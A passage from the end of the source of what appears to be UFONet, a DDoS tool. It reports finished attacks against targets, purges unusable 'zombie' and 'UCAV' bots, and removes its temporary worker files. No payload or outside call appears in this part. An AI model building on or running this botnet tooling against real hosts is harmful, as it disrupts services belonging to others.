  5449. if self.num_discard_rpcs > 0:
  5450. for r in self.discard_rpcs:
  5451. discarded.append(r)
  5452. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  5453. if self.num_discard_ucavs > 0:
  5454. for u in self.discard_ucavs:
  5455. discarded.append(u)
  5456. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  5457. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5458. if disc_zombies > 0 and disc_zombies < 2:
  5459. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  5460. elif disc_zombies > 1:
  5461. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  5462. if not self.options.target_list:
  5463. print('-'*21+ "\n")
  5464. print("[AI] "+self.exit_msg+"\n")
  5465. if not self.options.web:
  5466. return
  5467. else:
  5468. if self.num_target_list > 0: # still more targets
  5469. print('-'*21+ "\n")
  5470. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  5471. return
  5472. else: # finish attack from multiple targets
  5473. print('-'*21+ "\n")
  5474. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  5475. print("\n"+ '='*21+ "\n")
  5476. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  5477. print("\n"+ '-'*21+ "\n")
  5478. print("[AI] "+self.exit_msg+"\n")
  5479. if not self.options.web:
  5480. return
  5481. else:
  5482. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  5483. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  5484. if os.path.exists('mothership') == True:
  5485. os.remove('mothership') # remove mothership stream
  5486. if os.path.exists('alien') == True:
  5487. os.remove('alien') # remove random alien worker
  5488. if not options.web:
  5489. sys.exit(2) # exit
  5490. else:
  5491. return
  5492. else:
  5493. print("\n" + '='*21)
  5494. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  5495. if AI_reply == "y" or AI_reply == "Y":
  5496. self.AI() # AI fortune cookie
  5497. print('-'*21+ "\n")
  5498. print("\n[AI] "+self.exit_msg+"\n")
  5499. if os.path.exists('mothership') == True:
  5500. os.remove('mothership') # remove mothership stream
  5501. if os.path.exists('alien') == True:
  5502. os.remove('alien') # remove random alien worker
  5503. if not options.web:
  5504. sys.exit(2) # exit
  5505. else:
  5506. return
  5507. else:
  5508. if not options.attackme:
  5509. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  5510. else:
  5511. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  5512. print("\n" + '-'*21)
  5513. print("\n[AI] "+self.exit_msg+"\n")
  5514. if os.path.exists('mothership') == True:
  5515. os.remove('mothership') # remove mothership stream
  5516. if os.path.exists('alien') == True:
  5517. os.remove('alien') # remove random alien worker
  5518. return
  5519. if __name__ == "__main__":
  5520. app = UFONet()
  5521. options = app.create_options()
  5522. if options:
  5523. app.run()